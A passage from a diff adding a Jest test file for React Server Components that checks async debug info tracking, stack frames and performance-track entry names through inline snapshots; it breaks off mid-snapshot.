+const streamOptions = {
+  objectMode: true,
+};
+
+function filterStackFrame(filename, functionName) {
+  return (
+    !filename.startsWith('node:') &&
+    !filename.includes('node_modules') &&
+    // Filter out our own internal source code since it'll typically be in node_modules
+    (!filename.includes('/packages/') || filename.includes('/__tests__/')) &&
+    !filename.includes('/build/') &&
+    !functionName.includes('internal_')
+  );
+}
+
+describe('ReactFlightAsyncDebugInfo', () => {
+  beforeEach(() => {
+    jest.resetModules();
+    jest.useRealTimers();
+    patchSetImmediate();
+    global.console = require('console');
+
+    jest.mock('react', () => require('react/react.react-server'));
+    jest.mock('react-server-dom-webpack/server', () =>
+      jest.requireActual('react-server-dom-webpack/server.node'),
+    );
+    ReactServer = require('react');
+    ReactServerDOMServer = require('react-server-dom-webpack/server');
+    cache = ReactServer.cache;
+
+    jest.resetModules();
+    jest.useRealTimers();
+    patchSetImmediate();
+
+    __unmockReact();
+    jest.unmock('react-server-dom-webpack/server');
+    jest.mock('react-server-dom-webpack/client', () =>
+      jest.requireActual('react-server-dom-webpack/client.node'),
+    );
+
+    React = require('react');
+    ReactServerDOMClient = require('react-server-dom-webpack/client');
+    Stream = require('stream');
+
+    getDebugInfo = require('internal-test-utils').getDebugInfo.bind(null, {
+      ignoreProps: true,
+      useFixedTime: true,
+    });
+  });
+
+  afterEach(() => {
+    observer?.disconnect();
+    observer = undefined;
+  });
+
+  function finishLoadingStream(readable) {
+    return new Promise(resolve => {
+      if (readable.readableEnded) {
+        resolve();
+      } else {
+        readable.on('end', () => resolve());
+      }
+    });
+  }
+
+  function delay(timeout) {
+    return new Promise(resolve => {
+      setTimeout(resolve, timeout);
+    });
+  }
+
+  function fetchThirdParty(Component) {
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component />,
+      {},
+      {
+        environmentName: 'third-party',
+      },
+    );
+    const readable = new Stream.PassThrough(streamOptions);
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+    return result;
+  }
+
+  it('can track async information when awaited', async () => {
+    async function getData(text) {
+      await delay(1);
+      const promise = delay(2);
+      promise.displayName = 'hello';
+      await Promise.all([promise]);
+      return text.toUpperCase();
+    }
+
+    async function Component() {
+      const result = await getData('hi');
+      const moreData = getData('seb');
+      return <InnerComponent text={result} promise={moreData} />;
+    }
+
+    async function InnerComponent({text, promise}) {
+      // This async function depends on the I/O in parent components but it should not
+      // include that I/O as part of its own meta data.
+      return text + ', ' + (await promise);
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI, SEB');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                130,
+                109,
+                109,
+                50,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    130,
+                    109,
+                    109,
+                    50,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  111,
+                  13,
+                  110,
+                  5,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  119,
+                  26,
+                  118,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  130,
+                  109,
+                  109,
+                  50,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                111,
+                13,
+                110,
+                5,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                119,
+                26,
+                118,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "hello",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    130,
+                    109,
+                    109,
+                    50,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  112,
+                  21,
+                  110,
+                  5,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  119,
+                  20,
+                  118,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  130,
+                  109,
+                  109,
+                  50,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                114,
+                21,
+                110,
+                5,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                119,
+                20,
+                118,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "InnerComponent",
+            "props": {},
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                121,
+                60,
+                118,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "hello",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    130,
+                    109,
+                    109,
+                    50,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  112,
+                  21,
+                  110,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "InnerComponent",
+              "props": {},
+              "stack": [
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  121,
+                  60,
+                  118,
+                  5,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "InnerComponent",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                127,
+                35,
+                124,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('adds a description to I/O', async () => {
+    async function getData(url) {
+      // just wait a macrotask for this call to get picked up
+      await new Promise(resolve => {
+        setTimeout(() => {
+          const fakeResponse = {url};
+          resolve(fakeResponse);
+        }, 1);
+      });
+    }
+
+    async function Component() {
+      await getData('http://github.com/facebook/react/pulls');
+      await getData('http://github.com/facebook/react/pulls/');
+      await getData(
+        'https://this-is-a-very-long-domain-name-what-happens.app/test',
+      );
+      await getData(
+        'https://github.com/facebook/react/commit/75897c2dcd1dd3a6ca46284dd37e13d22b4b16b4',
+      );
+      await getData('/this-is-a-very-long-directory-name-what-happens/');
+      await getData('/this-is-not');
+      return 'Hi, Sebbie';
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(
+      readable,
+      {
+        moduleMap: {},
+        moduleLoading: {},
+      },
+      {replayConsoleLogs: true},
+    );
+    stream.pipe(readable);
+
+    expect(await result).toBe('Hi, Sebbie');
+
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      let gotEntries;
+      const hasEntries = new Promise(resolve => {
+        gotEntries = resolve;
+      });
+      const entries = [];
+      observer = new PerformanceObserver(list => {
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const entry of list.getEntries()) {
+          const {name} = entry;
+          entries.push({name});
+        }
+        gotEntries();
+      }).observe({type: 'measure'});
+
+      await hasEntries;
+      await finishLoadingStream(readable);
+
+      expect(entries).toMatchInlineSnapshot(`
+        [
+          {
+            "name": "\u200bComponent",
+          },
+          {
+            "name": "await getData (…/pulls)",
+          },
+          {
+            "name": "await getData (…/pulls)",
+          },
+          {
+            "name": "await getData (…/test)",
+          },
+          {
+            "name": "await getData (…/75897c2dcd…13d22b4b16b4)",
+          },
+          {
+            "name": "await getData (/this-is-a-…what-happens)",
+          },
+          {
+            "name": "await getData (/this-is-not)",
+          },
+        ]
+      `);
+    } else {
+      await finishLoadingStream(readable);
+    }
+  });
+
+  it('can track async information when use()d', async () => {
+    async function getData(text) {
+      await delay(1);
+      return text.toUpperCase();
+    }
+
+    function Component() {
+      const result = ReactServer.use(getData('hi'));
+      const moreData = getData('seb');
+      return <InnerComponent text={result} promise={moreData} />;
+    }
+
+    function InnerComponent({text, promise}) {
+      // This async function depends on the I/O in parent components but it should not
+      // include that I/O as part of its own meta data.
+      return text + ', ' + ReactServer.use(promise);
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component />,
+      {},
+      {
+        filterStackFrame,
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI, SEB');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                590,
+                40,
+                571,
+                49,
+              ],
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    590,
+                    40,
+                    571,
+                    49,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  573,
+                  13,
+                  572,
+                  5,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  578,
+                  36,
+                  577,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  590,
+                  40,
+                  571,
+                  49,
+                ],
+                [
+                  "new Promise",
+                  "",
+                  0,
+                  0,
+                  0,
+                  0,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                573,
+                13,
+                572,
+                5,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                578,
+                36,
+                577,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "InnerComponent",
+            "props": {},
+            "stack": [
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                580,
+                60,
+                577,
+                5,
+              ],
+            ],
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    590,
+                    40,
+                    571,
+                    49,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  573,
+                  13,
+                  572,
+                  5,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  579,
+                  22,
+                  577,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "InnerComponent",
+              "props": {},
+              "stack": [
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  580,
+                  60,
+                  577,
+                  5,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "InnerComponent",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                586,
+                40,
+                583,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('cannot currently track the start of I/O when no native promise is used', async () => {
+    function Component() {
+      const callbacks = [];
+      setTimeout(function timer() {
+        callbacks.forEach(callback => callback('hi'));
+      }, 5);
+      return {
+        then(callback) {
+          callbacks.push(callback);
+        },
+      };
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('hi');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                897,
+                109,
+                884,
+                80,
+              ],
+            ],
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    897,
+                    109,
+                    884,
+                    80,
+                  ],
+                ],
+              },
+              "start": 0,
+            },
+            "env": "Server",
+            "owner": {
+              "env": "Server",
+              "key": null,
+              "name": "Component",
+              "props": {},
+              "stack": [
+                [
+                  "Object.<anonymous>",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  897,
+                  109,
+                  884,
+                  80,
+                ],
+              ],
+            },
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can ingores the start of I/O when immediately resolved non-native promise is awaited', async () => {
+    async function Component() {
+      return await {
+        then(callback) {
+          callback('hi');
+        },
+      };
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('hi');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1011,
+                109,
+                1002,
+                94,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+        ]
+      `);
+    }
+  });
+
+  it('forwards debugInfo from awaited Promises', async () => {
+    async function Component() {
+      let resolve;
+      const promise = new Promise(r => (resolve = r));
+      promise._debugInfo = [
+        {time: performance.now()},
+        {
+          name: 'Virtual Component',
+        },
+        {time: performance.now()},
+      ];
+      const promise2 = promise.then(value => value);
+      promise2._debugInfo = [
+        {time: performance.now()},
+        {
+          name: 'Virtual Component2',
+        },
+        {time: performance.now()},
+      ];
+      resolve('hi');
+      const result = await promise2;
+      return result.toUpperCase();
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1084,
+                109,
+                1060,
+                50,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "name": "Virtual Component",
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "name": "Virtual Component2",
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+        ]
+      `);
+    }
+  });
+
+  it('forwards async debug info one environment to the next', async () => {
+    async function getData() {
+      await delay(1);
+      await delay(2);
+      return 'hi';
+    }
+
+    async function ThirdPartyComponent() {
+      const data = await getData();
+      return data;
+    }
+
+    async function Component() {
+      const data = await fetchThirdParty(ThirdPartyComponent);
+      return data.toUpperCase();
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(<Component />);
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1168,
+                109,
+                1151,
+                63,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "env": "third-party",
+            "key": null,
+            "name": "ThirdPartyComponent",
+            "props": {},
+            "stack": [
+              [
+                "fetchThirdParty",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                94,
+                40,
+                92,
+                3,
+              ],
+              [
+                "Component",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1164,
+                24,
+                1163,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "third-party",
+              "name": "delay",
+              "owner": {
+                "env": "third-party",
+                "key": null,
+                "name": "ThirdPartyComponent",
+                "props": {},
+                "stack": [
+                  [
+                    "fetchThirdParty",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    94,
+                    40,
+                    92,
+                    3,
+                  ],
+                  [
+                    "Component",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    1164,
+                    24,
+                    1163,
+                    5,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1153,
+                  13,
+                  1152,
+                  5,
+                ],
+                [
+                  "ThirdPartyComponent",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1159,
+                  24,
+                  1158,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "third-party",
+            "owner": {
+              "env": "third-party",
+              "key": null,
+              "name": "ThirdPartyComponent",
+              "props": {},
+              "stack": [
+                [
+                  "fetchThirdParty",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  94,
+                  40,
+                  92,
+                  3,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1164,
+                  24,
+                  1163,
+                  5,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1153,
+                13,
+                1152,
+                5,
+              ],
+              [
+                "ThirdPartyComponent",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1159,
+                24,
+                1158,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "third-party",
+              "name": "delay",
+              "owner": {
+                "env": "third-party",
+                "key": null,
+                "name": "ThirdPartyComponent",
+                "props": {},
+                "stack": [
+                  [
+                    "fetchThirdParty",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    94,
+                    40,
+                    92,
+                    3,
+                  ],
+                  [
+                    "Component",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    1164,
+                    24,
+                    1163,
+                    5,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1154,
+                  13,
+                  1152,
+                  5,
+                ],
+                [
+                  "ThirdPartyComponent",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1159,
+                  18,
+                  1158,
+                  5,
+                ],
+              ],
+              "start": 0,
+              "value": {
+                "value": undefined,
+              },
+            },
+            "env": "third-party",
+            "owner": {
+              "env": "third-party",
+              "key": null,
+              "name": "ThirdPartyComponent",
+              "props": {},
+              "stack": [
+                [
+                  "fetchThirdParty",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  94,
+                  40,
+                  92,
+                  3,
+                ],
+                [
+                  "Component",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  1164,
+                  24,
+                  1163,
+                  5,
+                ],
+              ],
+            },
+            "stack": [
+              [
+                "getData",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1154,
+                13,
+                1152,
+                5,
+              ],
+              [
+                "ThirdPartyComponent",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1159,
+                18,
+                1158,
+                5,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "env": "Server",
+              "name": "rsc stream",
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+            "env": "Server",
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "byteSize": 0,
+              "end": 0,
+              "name": "rsc stream",
+              "owner": null,
+              "start": 0,
+              "value": {
+                "value": "stream",
+              },
+            },
+          },
+        ]
+      `);
+    }
+  });
+
+  it('can track cached entries awaited in later components', async () => {
+    const getData = cache(async function getData(text) {
+      await delay(1);
+      return text.toUpperCase();
+    });
+
+    async function Child() {
+      const greeting = await getData('hi');
+      return greeting + ', Seb';
+    }
+
+    async function Component() {
+      await getData('hi');
+      return <Child />;
+    }
+
+    const stream = ReactServerDOMServer.renderToPipeableStream(
+      <Component />,
+      {},
+      {
+        filterStackFrame,
+      },
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    const result = ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: {},
+    });
+    stream.pipe(readable);
+
+    expect(await result).toBe('HI, Seb');
+
+    await finishLoadingStream(readable);
+    if (
+      __DEV__ &&
+      gate(
+        flags =>
+          flags.enableComponentPerformanceTrack && flags.enableAsyncDebugInfo,
+      )
+    ) {
+      expect(getDebugInfo(result)).toMatchInlineSnapshot(`
+        [
+          {
+            "time": 0,
+          },
+          {
+            "env": "Server",
+            "key": null,
+            "name": "Component",
+            "props": {},
+            "stack": [
+              [
+                "Object.<anonymous>",
+                "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                1509,
+                40,
+                1492,
+                62,
+              ],
+              [
+                "new Promise",
+                "",
+                0,
+                0,
+                0,
+                0,
+              ],
+            ],
+          },
+          {
+            "time": 0,
+          },
+          {
+            "awaited": {
+              "end": 0,
+              "env": "Server",
+              "name": "delay",
+              "owner": {
+                "env": "Server",
+                "key": null,
+                "name": "Component",
+                "props": {},
+                "stack": [
+                  [
+                    "Object.<anonymous>",
+                    "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                    1509,
+                    40,
+                    1492,
+                    62,
+                  ],
+                  [
+                    "new Promise",
+                    "",
+                    0,
+                    0,
+                    0,
+                    0,
+                  ],
+                ],
+              },
+              "stack": [
+                [
+                  "delay",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
+                  87,
+                  12,
+                  86,
+                  3,
+                ],
+                [
+                  "getData",
+                  "/packages/react-server/src/__tests__/ReactFlightAsyncDebugInfo-test.js",
